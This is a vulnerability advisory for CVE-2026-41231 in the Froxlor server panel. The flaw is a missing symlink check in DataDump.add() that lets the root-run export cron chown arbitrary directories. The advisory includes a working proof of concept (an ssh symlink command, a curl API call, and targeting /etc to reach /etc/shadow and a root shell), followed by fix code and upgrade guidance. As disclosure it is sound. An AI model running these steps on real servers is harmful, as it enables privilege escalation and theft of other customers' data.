CVE-2026-41231: Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron
Summary
DataDump.add() constructs the export destination path from user-supplied input without passing the $fixedhomedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.
Details
The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixedhomedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).
Every customer-facing API command that builds a path from user input passes this parameter:
php // DirProtections.php:87 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// DirOptions.php:96 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// Ftps.php:178 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// SubDomains.php:585 return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
But DataDump.add() was missed:
php // DataDump.php:88 — NO $fixedhomedir parameter $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);
The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):
php Cronjob::inserttask(TaskId::CREATECUSTOMERDATADUMP, $taskdata);
When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:
php FileDir::safeexec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));
The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.
The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.
PoC
Prerequisites: - system.exportenabled = 1 (admin setting) - Customer account with API key and FTP/SSH access
bash Step 1: Create a symlink inside the customer's docroot pointing to a victim directory (customer has FTP/SSH access to their own docroot) ssh customer@server 'ln -s /var/customers/webs/victimcustomer /var/customers/webs/attackercustomer/steal'
Step 2: Schedule data export via API with path pointing to the symlink curl -X POST \ -H "Content-Type: application/json" \ -d '{"header":{"apikey":"CUSTOMERAPIKEY","secret":"CUSTOMERAPISECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dumpweb":"1"}}}' \ https://panel.example.com/api.php
Expected response: 200 OK with taskdata including destdir
Step 3: Wait for ExportCron to run (hourly cron as root) The cron executes: mkdir -p '/var/customers/webs/attackercustomer/steal/' (follows symlink, dir exists) tar cfz ... -C /var/customers/webs/attackercustomer/ . (tars attacker's web data) chown -R <attackeruid>:<attackergid> '/var/customers/webs/attackercustomer/steal/.tmp/' mv export.tar.gz '/var/customers/webs/attackercustomer/steal/' chown -R <attackeruid>:<attackergid> '/var/customers/webs/attackercustomer/steal/' The final chown resolves the symlink and recursively chowns /var/customers/webs/victimcustomer/ to the attacker's UID/GID.
Step 4: Attacker now owns all of victim's web files ssh customer@server 'ls -la /var/customers/webs/victimcustomer/' All files now owned by attackercustomer UID
For system-level escalation, the symlink can target /etc: ln -s /etc /var/customers/webs/attackercustomer/steal After cron: attacker owns /etc/passwd, /etc/shadow → root shell
Impact
- Horizontal privilege escalation: A customer can take ownership of any other customer's web files, databases exports, and email data on the same server. - Vertical privilege escalation: By targeting system directories (e.g., /etc), the customer can gain read/write access to /etc/passwd and /etc/shadow, enabling creation of a root account or password modification. - Data breach: Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data. - Service disruption: Changing ownership of system directories can break system services.
The attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.
Recommended Fix
Pass $customer['documentroot'] as the $fixedhomedir parameter in DataDump.add(), consistent with every other API command:
php // lib/Froxlor/Api/Commands/DataDump.php, line 88 // Before (vulnerable): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);
// After (fixed): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
Additionally, the ExportCron should use chown -h (no-dereference) or validate the destination path is not a symlink before executing chown -R:
php // lib/Froxlor/Cron/System/ExportCron.php, line 232 // Add symlink check before chown if (islink(rtrim($data['destdir'], '/'))) { $cronlog->logAction(FroxlorLogger::CRONACTION, LOGERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']); } else { FileDir::safeexec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir'])); }
Other sources
Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron
— Packagist
Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixedhomedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/froxlor/froxlorto a version that resolves this vulnerability.Fixed in 2.3.6 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.3.6
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41231?
CVE-2026-41231 is considered a critical vulnerability due to its potential for arbitrary directory ownership takeover.
How do I fix CVE-2026-41231?
To fix CVE-2026-41231, upgrade to Froxlor version 2.3.6 or later.
What software is affected by CVE-2026-41231?
CVE-2026-41231 affects Froxlor versions prior to 2.3.6.
What kind of attack vector does CVE-2026-41231 exploit?
CVE-2026-41231 exploits incomplete symlink validation in the DataDump.add() method.
Can I find a patch for CVE-2026-41231?
Yes, the patch for CVE-2026-41231 is included in Froxlor version 2.3.6 and later releases.